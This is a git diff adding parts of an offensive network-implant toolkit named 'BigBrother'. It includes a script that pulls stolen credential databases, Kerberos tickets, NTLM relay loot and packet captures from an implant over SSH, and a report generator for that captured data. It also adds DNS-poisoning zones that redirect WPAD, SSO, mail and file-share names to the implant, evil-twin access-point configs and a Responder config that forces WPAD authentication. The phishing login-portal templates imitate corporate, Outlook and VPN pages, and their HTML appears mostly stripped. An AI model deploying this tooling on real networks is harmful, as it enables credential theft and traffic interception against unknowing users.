+ add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`")
+ add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery")
+ add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis")
+ add("")
+
+ add("---\n")
+ add(f"*Report generated by BigBrother operator tooling — {now}*")
+
+ return "\n".join(lines)
+
+
+def markdown_to_html(markdown_text, title):
+ """Convert Markdown report to standalone HTML."""
+ # Simple Markdown-to-HTML conversion (no external deps)
+ html_lines = []
+ in_table = False
+ in_list = False
+
+ html_lines.append(f"""
+
+
+
+
+{title}
+
+
+
+""")
+
+ for line in markdown_text.split("\n"):
+ stripped = line.strip()
+
+ # Headings
+ if stripped.startswith("# "):
+ if in_table:
+ html_lines.append("")
+ in_table = False
+ level = len(stripped) - len(stripped.lstrip("#"))
+ text = stripped.lstrip("# ").strip()
+ html_lines.append(f"{_inline_format(text)} ")
+ continue
+
+ # Horizontal rule
+ if stripped == "---":
+ if in_table:
+ html_lines.append("")
+ in_table = False
+ html_lines.append(" ")
+ continue
+
+ # Table
+ if "|" in stripped and stripped.startswith("|"):
+ cells = [c.strip() for c in stripped.split("|")[1:-1]]
+ if all(c.replace("-", "").replace(":", "") == "" for c in cells):
+ continue # Skip separator row
+ if not in_table:
+ html_lines.append("")
+ in_table = True
+ tag = "th"
+ else:
+ tag = "td"
+ row = "".join(f"<{tag}>{_inline_format(c)}{tag}>" for c in cells)
+ html_lines.append(f"{row} ")
+ continue
+
+ if in_table and not stripped.startswith("|"):
+ html_lines.append("
")
+ in_table = False
+
+ # List items
+ if stripped.startswith("- ") or stripped.startswith("* "):
+ if not in_list:
+ html_lines.append("")
+ in_list = True
+ text = stripped[2:].strip()
+ html_lines.append(f"{_inline_format(text)} ")
+ continue
+ elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))):
+ if not in_list:
+ html_lines.append("")
+ in_list = True
+ text = stripped.split(". ", 1)[1] if ". " in stripped else stripped
+ html_lines.append(f"{_inline_format(text)} ")
+ continue
+
+ if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit():
+ html_lines.append(" " if in_list else "")
+ in_list = False
+
+ # Empty line
+ if not stripped:
+ continue
+
+ # Paragraph
+ html_lines.append(f"{_inline_format(stripped)}
")
+
+ if in_table:
+ html_lines.append("")
+ if in_list:
+ html_lines.append("")
+
+ html_lines.append("")
+ return "\n".join(html_lines)
+
+
+def _inline_format(text):
+ """Apply inline Markdown formatting (bold, code, italic)."""
+ import re
+ text = re.sub(r"\*\*(.+?)\*\*", r"\1 ", text)
+ text = re.sub(r"`(.+?)`", r"\1", text)
+ text = re.sub(r"\*(.+?)\*", r"\1 ", text)
+ return text
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main():
+ parser = argparse.ArgumentParser(
+ description="Generate BigBrother engagement report from synced data."
+ )
+ parser.add_argument("data_dir", help="Path to pulled data directory")
+ parser.add_argument("--output", "-o", help="Output directory (default: /report)")
+ parser.add_argument("--title", "-t", default="BigBrother Engagement Report",
+ help="Report title")
+ args = parser.parse_args()
+
+ data_dir = args.data_dir
+ output_dir = args.output or os.path.join(data_dir, "report")
+
+ if not os.path.isdir(data_dir):
+ print(f"[-] Data directory not found: {data_dir}", file=sys.stderr)
+ sys.exit(1)
+
+ os.makedirs(output_dir, exist_ok=True)
+
+ print(f"[*] Generating report: {args.title}")
+ print(f" Data: {os.path.abspath(data_dir)}")
+ print(f" Output: {os.path.abspath(output_dir)}")
+ print()
+
+ # Collect data
+ print("[*] Collecting credentials...")
+ creds = collect_credentials(data_dir)
+ print(f" Found {len(creds)} credentials")
+
+ print("[*] Collecting host inventory...")
+ hosts = collect_hosts(data_dir)
+ print(f" Found {len(hosts)} hosts")
+
+ print("[*] Collecting DNS statistics...")
+ dns_stats = collect_dns_stats(data_dir)
+ print(f" {dns_stats['total_queries']:,} queries logged")
+
+ print("[*] Collecting module status...")
+ modules = collect_module_status(data_dir)
+ print(f" {len(modules)} modules tracked")
+ print()
+
+ # Generate Markdown
+ print("[*] Generating Markdown report...")
+ md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules)
+ md_path = os.path.join(output_dir, "report.md")
+ with open(md_path, "w") as f:
+ f.write(md_report)
+ print(f" Saved: {md_path}")
+
+ # Generate HTML
+ print("[*] Generating HTML report...")
+ html_report = markdown_to_html(md_report, args.title)
+ html_path = os.path.join(output_dir, "report.html")
+ with open(html_path, "w") as f:
+ f.write(html_report)
+ print(f" Saved: {html_path}")
+
+ print()
+ print(f"[+] Report generation complete")
+ print(f" Markdown: {md_path}")
+ print(f" HTML: {html_path}")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/scripts/operator/pull_data.sh b/scripts/operator/pull_data.sh
new file mode 100755
index 0000000..fd7fd9c
--- /dev/null
+++ b/scripts/operator/pull_data.sh
@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+# BigBrother Operator Script — Pull Data from Implant
+#
+# Syncs structured data from the implant over WireGuard or Tailscale
+# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
+# all collected intelligence data.
+#
+# Usage: ./pull_data.sh [output_dir]
+#
+# Examples:
+# ./pull_data.sh bb-implant-01 # Tailscale hostname
+# ./pull_data.sh 100.64.0.5 /opt/engagements/acme
+# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP
+#
+# Requires: rsync, ssh, Tailscale or WireGuard connectivity
+
+set -euo pipefail
+
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+CYAN='\033[0;36m'
+NC='\033[0m'
+
+# ---------------------------------------------------------------------------
+# Arguments
+# ---------------------------------------------------------------------------
+
+IMPLANT="${1:-}"
+OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
+SSH_USER="${BB_SSH_USER:-root}"
+SSH_KEY="${BB_SSH_KEY:-}"
+BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"
+
+if [[ -z "$IMPLANT" ]]; then
+ echo -e "${RED}Usage: $0 [output_dir]${NC}"
+ echo ""
+ echo "Environment variables:"
+ echo " BB_SSH_USER SSH user (default: root)"
+ echo " BB_SSH_KEY SSH private key path"
+ echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)"
+ exit 1
+fi
+
+SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
+if [[ -n "$SSH_KEY" ]]; then
+ SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
+fi
+
+# ---------------------------------------------------------------------------
+# Pre-flight
+# ---------------------------------------------------------------------------
+
+echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
+echo -e " Implant: ${IMPLANT}"
+echo -e " Output: ${OUTPUT_DIR}"
+echo -e " SSH User: ${SSH_USER}"
+echo ""
+
+# Test connectivity
+echo -e "${YELLOW}[*] Testing connectivity...${NC}"
+if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
+ echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
+ exit 1
+fi
+echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"
+
+# Create output directory structure
+mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}
+
+# ---------------------------------------------------------------------------
+# Pull data
+# ---------------------------------------------------------------------------
+
+RSYNC_OPTS="-avz --progress --compress-level=9"
+if [[ -n "$SSH_KEY" ]]; then
+ RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
+else
+ RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
+fi
+
+pull_file() {
+ local remote_path="$1"
+ local local_dir="$2"
+ local description="$3"
+
+ echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
+ eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
+ echo -e " ${RED}(not found or empty)${NC}"
+}
+
+pull_dir() {
+ local remote_path="$1"
+ local local_dir="$2"
+ local description="$3"
+
+ echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
+ eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
+ echo -e " ${RED}(not found or empty)${NC}"
+}
+
+# SQLite databases
+pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
+pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
+pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
+pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
+pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
+pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"
+
+# PCAPs
+pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"
+
+# Credential data
+pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
+pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
+pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"
+
+# Intelligence data
+pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
+pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"
+
+# Config (for reference)
+pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"
+
+# ---------------------------------------------------------------------------
+# Summary
+# ---------------------------------------------------------------------------
+
+echo ""
+echo -e "${GREEN}[+] Data pull complete${NC}"
+echo -e " Location: ${OUTPUT_DIR}"
+echo ""
+du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
+echo ""
+echo -e "${CYAN}[*] Next steps:${NC}"
+echo " 1. Run extract_files.sh on PCAPs for file carving"
+echo " 2. Run crack_hashes.sh to crack captured hashes"
+echo " 3. Run generate_report.py for engagement report"
diff --git a/templates/captive_portals/.gitkeep b/templates/captive_portals/.gitkeep
deleted file mode 100644
index e69de29..0000000
diff --git a/templates/captive_portals/corporate_login.html b/templates/captive_portals/corporate_login.html
new file mode 100644
index 0000000..d0ffd4a
--- /dev/null
+++ b/templates/captive_portals/corporate_login.html
@@ -0,0 +1,57 @@
+
+
+
+
+
+Corporate Sign In
+
+
+
+
+
+
+
Corporate Network
+
Sign in with your organization account
+
+
Invalid credentials. Please try again.
+
+
+
+
+
+
diff --git a/templates/captive_portals/guest_wifi.html b/templates/captive_portals/guest_wifi.html
new file mode 100644
index 0000000..339fe92
--- /dev/null
+++ b/templates/captive_portals/guest_wifi.html
@@ -0,0 +1,86 @@
+
+
+
+
+
+Guest WiFi Access
+
+
+
+
+
+
+
Access valid for 24 hours from registration.
+
+
+
diff --git a/templates/captive_portals/outlook_login.html b/templates/captive_portals/outlook_login.html
new file mode 100644
index 0000000..ee18244
--- /dev/null
+++ b/templates/captive_portals/outlook_login.html
@@ -0,0 +1,88 @@
+
+
+
+
+
+Sign in to your account
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Enter password
+
+
+
+
+
+
+
+
+
diff --git a/templates/captive_portals/vpn_portal.html b/templates/captive_portals/vpn_portal.html
new file mode 100644
index 0000000..249af33
--- /dev/null
+++ b/templates/captive_portals/vpn_portal.html
@@ -0,0 +1,91 @@
+
+
+
+
+
+VPN Gateway - Secure Access
+
+
+
+
+
+
+
SSL VPN Gateway — Authentication Required
+
+
+
+
+
+
+Secured with TLS 1.3. All traffic encrypted.
+
+
+Certificate: vpn-gateway.internal
+Issued by: Corporate Root CA
+Valid until: 2025-12-31
+
+
+
+
+
diff --git a/templates/dns_zones/.gitkeep b/templates/dns_zones/.gitkeep
deleted file mode 100644
index e69de29..0000000
diff --git a/templates/dns_zones/redirect_all.zone b/templates/dns_zones/redirect_all.zone
new file mode 100644
index 0000000..296121e
--- /dev/null
+++ b/templates/dns_zones/redirect_all.zone
@@ -0,0 +1,19 @@
+# BigBrother DNS Zone — Redirect All
+#
+# Redirects ALL DNS queries to the implant IP.
+# Used with dns_poison.py load_zone() method.
+#
+# Format: domain target_ip
+# Use * for wildcard matching.
+#
+# WARNING: Redirecting all DNS is extremely noisy. Use selective.zone.j2
+# for targeted operations. This zone is for quick-and-dirty captive portal
+# or total traffic interception scenarios.
+#
+# Usage:
+# dns_poison.load_zone("redirect_all.zone")
+#
+# The target IP on the last entry is used as the redirect destination.
+# Replace IMPLANT_IP with the actual implant IP before use.
+
+* IMPLANT_IP
diff --git a/templates/dns_zones/selective.zone.j2 b/templates/dns_zones/selective.zone.j2
new file mode 100644
index 0000000..8e69c6b
--- /dev/null
+++ b/templates/dns_zones/selective.zone.j2
@@ -0,0 +1,49 @@
+# BigBrother DNS Zone — Selective Redirection
+#
+# Jinja2 template for targeted DNS poisoning. Render with:
+# implant_ip: IP address to redirect to
+# target_domain: Primary target domain (e.g., "corp.local")
+# extra_domains: Optional list of additional domains
+#
+# Format: domain target_ip
+# Lines starting with # are ignored.
+#
+# Usage:
+# from jinja2 import Template
+# rendered = Template(open("selective.zone.j2").read()).render(
+# implant_ip="10.0.0.0",
+# target_domain="corp.local",
+# extra_domains=["intranet.company.com", "vpn.company.com"]
+# )
+
+# WPAD — forces proxy autoconfiguration to implant (NTLM capture)
+wpad.{{ target_domain }} {{ implant_ip }}
+wpad {{ implant_ip }}
+
+# Internal authentication endpoints
+login.{{ target_domain }} {{ implant_ip }}
+auth.{{ target_domain }} {{ implant_ip }}
+sso.{{ target_domain }} {{ implant_ip }}
+adfs.{{ target_domain }} {{ implant_ip }}
+
+# Exchange / mail
+autodiscover.{{ target_domain }} {{ implant_ip }}
+mail.{{ target_domain }} {{ implant_ip }}
+owa.{{ target_domain }} {{ implant_ip }}
+
+# SharePoint / intranet
+intranet.{{ target_domain }} {{ implant_ip }}
+sharepoint.{{ target_domain }} {{ implant_ip }}
+portal.{{ target_domain }} {{ implant_ip }}
+
+# File shares (for hash capture)
+files.{{ target_domain }} {{ implant_ip }}
+nas.{{ target_domain }} {{ implant_ip }}
+dfs.{{ target_domain }} {{ implant_ip }}
+
+{% if extra_domains is defined %}
+# Additional targeted domains
+{% for domain in extra_domains %}
+{{ domain }} {{ implant_ip }}
+{% endfor %}
+{% endif %}
diff --git a/templates/hostapd/open.conf.j2 b/templates/hostapd/open.conf.j2
new file mode 100644
index 0000000..52289eb
--- /dev/null
+++ b/templates/hostapd/open.conf.j2
@@ -0,0 +1,39 @@
+# BigBrother hostapd configuration — Open AP (no password)
+#
+# Used by evil_twin.py for captive portal attacks.
+# Jinja2 variables:
+# interface: Wireless interface (e.g., "wlan0")
+# ssid: Target SSID to clone
+# channel: WiFi channel (1-11 for 2.4GHz)
+# driver: Wireless driver (default: nl80211)
+# hw_mode: Hardware mode (default: g for 2.4GHz)
+# country_code: Regulatory domain (default: US)
+# beacon_int: Beacon interval in ms (default: 100)
+
+interface={{ interface | default('wlan0') }}
+driver={{ driver | default('nl80211') }}
+ssid={{ ssid }}
+hw_mode={{ hw_mode | default('g') }}
+channel={{ channel | default(6) }}
+country_code={{ country_code | default('US') }}
+ieee80211d=1
+
+# No encryption — open AP for captive portal
+auth_algs=1
+wpa=0
+
+# Beacon and capabilities
+beacon_int={{ beacon_int | default(100) }}
+wmm_enabled=0
+macaddr_acl=0
+ignore_broadcast_ssid=0
+
+# 802.11n support (better performance)
+ieee80211n=1
+ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
+
+# Logging
+logger_syslog=-1
+logger_syslog_level=2
+logger_stdout=-1
+logger_stdout_level=2
diff --git a/templates/hostapd/wpa2.conf.j2 b/templates/hostapd/wpa2.conf.j2
new file mode 100644
index 0000000..bb9ef57
--- /dev/null
+++ b/templates/hostapd/wpa2.conf.j2
@@ -0,0 +1,45 @@
+# BigBrother hostapd configuration — WPA2-PSK AP
+#
+# Used by evil_twin.py for WPA2 evil twin attacks.
+# Requires knowing or guessing the target PSK.
+# Jinja2 variables:
+# interface: Wireless interface (e.g., "wlan0")
+# ssid: Target SSID to clone
+# channel: WiFi channel (1-11 for 2.4GHz)
+# wpa_passphrase: WPA2 pre-shared key
+# driver: Wireless driver (default: nl80211)
+# hw_mode: Hardware mode (default: g for 2.4GHz)
+# country_code: Regulatory domain (default: US)
+# beacon_int: Beacon interval in ms (default: 100)
+
+interface={{ interface | default('wlan0') }}
+driver={{ driver | default('nl80211') }}
+ssid={{ ssid }}
+hw_mode={{ hw_mode | default('g') }}
+channel={{ channel | default(6) }}
+country_code={{ country_code | default('US') }}
+ieee80211d=1
+
+# WPA2-PSK configuration
+auth_algs=1
+wpa=2
+wpa_passphrase={{ wpa_passphrase }}
+wpa_key_mgmt=WPA-PSK
+wpa_pairwise=CCMP
+rsn_pairwise=CCMP
+
+# Beacon and capabilities
+beacon_int={{ beacon_int | default(100) }}
+wmm_enabled=1
+macaddr_acl=0
+ignore_broadcast_ssid=0
+
+# 802.11n support
+ieee80211n=1
+ht_capab=[HT40+][SHORT-GI-20][SHORT-GI-40]
+
+# Logging
+logger_syslog=-1
+logger_syslog_level=2
+logger_stdout=-1
+logger_stdout_level=2
diff --git a/templates/responder/Responder.conf.j2 b/templates/responder/Responder.conf.j2
new file mode 100644
index 0000000..f798028
--- /dev/null
+++ b/templates/responder/Responder.conf.j2
@@ -0,0 +1,70 @@
+{# BigBrother Responder.conf template
+ Jinja2 variables:
+ protocols: dict of protocol toggles (LLMNR, NBT-NS, mDNS, HTTP, SMB, etc.)
+ relay_targets: set of IPs excluded from SMB auth (for ntlm_relay)
+ interface: network interface
+#}
+[Responder Core]
+
+; Servers to start
+SQL = {{ 'On' if protocols.get('SQL', false) else 'Off' }}
+SMB = {{ 'On' if protocols.get('SMB', true) else 'Off' }}
+RDP = Off
+Kerberos = Off
+FTP = {{ 'On' if protocols.get('FTP', false) else 'Off' }}
+POP = {{ 'On' if protocols.get('POP', false) else 'Off' }}
+SMTP = {{ 'On' if protocols.get('SMTP', false) else 'Off' }}
+IMAP = {{ 'On' if protocols.get('IMAP', false) else 'Off' }}
+HTTP = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
+HTTPS = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
+DNS = Off
+LDAP = {{ 'On' if protocols.get('LDAP', false) else 'Off' }}
+DCERPC = Off
+WinRM = Off
+SNMP = Off
+MQTT = Off
+
+; Custom challenge — Random is stealthier than fixed
+Challenge = Random
+
+; Set specific interface
+; Interface = {{ interface }}
+
+; WPAD configuration
+WPADScript = function FindProxyForURL(url, host){return "DIRECT";}
+{% if protocols.get('WPAD', true) %}
+; WPAD rogue proxy enabled
+Serve-Html = On
+Serve-Exe = Off
+{% endif %}
+
+; Force WPAD auth for hash capture
+Force-WPAD-Auth = {{ 'On' if protocols.get('WPAD', true) else 'Off' }}
+
+; Downgrade to NTLMv1 (more crackable but more detectable)
+; Set to On only when specifically targeting NTLMv1
+Downgrade-To-NTLMv1 = Off
+
+; Don't respond to these machines (comma-separated hostnames)
+DontRespondToNames =
+
+{% if relay_targets %}
+; Hosts excluded from SMB auth — being relayed by ntlmrelayx
+; These IPs should get auth forwarded to ntlmrelayx, not captured locally
+DontRespondTo = {{ relay_targets | join(', ') }}
+{% else %}
+DontRespondTo =
+{% endif %}
+
+[HTTP Server]
+; Custom HTML to serve for WPAD/HTTP auth
+HTMLToInject =
+; Serve a custom EXE
+Serve-Always = Off
+Filename =
+ExecParams =
+
+[HTTPS Server]
+; Self-signed cert params
+SSLCert = certs/responder.crt
+SSLKey = certs/responder.key